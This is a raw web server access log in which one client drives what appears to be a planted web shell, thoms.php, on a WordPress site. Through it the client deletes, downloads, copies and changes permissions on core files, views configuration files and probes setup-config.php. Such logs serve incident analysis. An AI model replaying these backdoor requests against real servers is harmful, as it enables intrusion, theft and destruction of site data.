45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?del=.htaccess&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?chmod=index.php&p=bft.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?p=bft.com.tw&upload= HTTP/1.1" 200 12151 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?chmod=.well-known&p=bft.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?del=sync-sample&p=bft.com.tw HTTP/1.1" 200 16832 "http://163.245.207.76:443/thoms.php?del=sync-sample&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?del=wp-includes&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /bft.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?p=bft.com.tw&view=error_log HTTP/1.1" 200 13046 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?dl=error_log&p=bft.com.tw HTTP/1.1" 200 16832 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-cron.php HTTP/1.1" 200 14170 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?chmod=mah.php&p=bft.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?dl=.htaccess&p=bft.com.tw HTTP/1.1" 200 16835 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bft.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /bft.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /bft.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?chmod=.htaccess&p=bft.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /bft.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13463 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?del=client-global&p=bft.com.tw HTTP/1.1" 200 16835 "http://163.245.207.76:443/thoms.php?del=client-global&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?del=xmlrpc.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p= HTTP/1.1" 200 11638 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?chmod=thoms.php&p=bft.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?del=error_log&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=error_log&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-load.php HTTP/1.1" 200 13647 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /bft.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?del=wp-load.php&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?dl=wp-load.php&p=bft.com.tw HTTP/1.1" 200 16823 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-admin/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?dl=license.txt&p=bft.com.tw HTTP/1.1" 200 16836 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-trackback.php HTTP/1.1" 200 14096 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p= HTTP/1.1" 200 11628 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /bft.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:29 -0400] "GET /thoms.php?del=index.php&p=bft.com.tw HTTP/1.1" 200 16828 "http://163.245.207.76:443/thoms.php?del=index.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?dl=wp-mail.php&p=bft.com.tw HTTP/1.1" 200 16826 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?del=wp-settings.php&p=bft.com.tw HTTP/1.1" 200 16830 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bft.com.tw HTTP/1.1" 200 16828 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?p=bft.com.tw&view=index.php HTTP/1.1" 200 12035 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?chmod=license.txt&p=bft.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?p=bft.com.tw&view=mah.php HTTP/1.1" 200 11811 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?dl=wp-settings.php&p=bft.com.tw HTTP/1.1" 200 16830 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?p=bft.com.tw%2F.tmb HTTP/1.1" 200 12033 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /bft.com.tw/wp-trackback.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?dl=index.php&p=bft.com.tw HTTP/1.1" 200 16828 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12012 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:30 -0400] "GET /thoms.php?del=wp-cron.php&p=bft.com.tw HTTP/1.1" 200 16835 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?chmod=wp-load.php&p=bft.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13445 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /bft.com.tw/wp-includes/ HTTP/1.1" 200 8820 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-blog-header.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bft.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?p=bft.com.tw&view=.htaccess HTTP/1.1" 200 12614 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 16823 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?del=wp-signup.php&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /bft.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /bft.com.tw/.well-known/ HTTP/1.1" 200 774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /bft.com.tw/ HTTP/1.1" 302 0 "https://163.245.207.76:443/bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11629 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4560 "https://163.245.207.76:443/bft.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?dl=thoms.php&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:31 -0400] "GET /thoms.php?dl=wp-activate.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /bft.com.tw/wp-mail.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p= HTTP/1.1" 200 11633 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /bft.com.tw/wp-signup.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?del=wp-activate.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /bft.com.tw/upgrade/ HTTP/1.1" 200 6533 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /bft.com.tw/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?del=wp-content&p=bft.com.tw HTTP/1.1" 200 16832 "http://163.245.207.76:443/thoms.php?del=wp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?p=bft.com.tw&view=readme.html HTTP/1.1" 200 15229 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
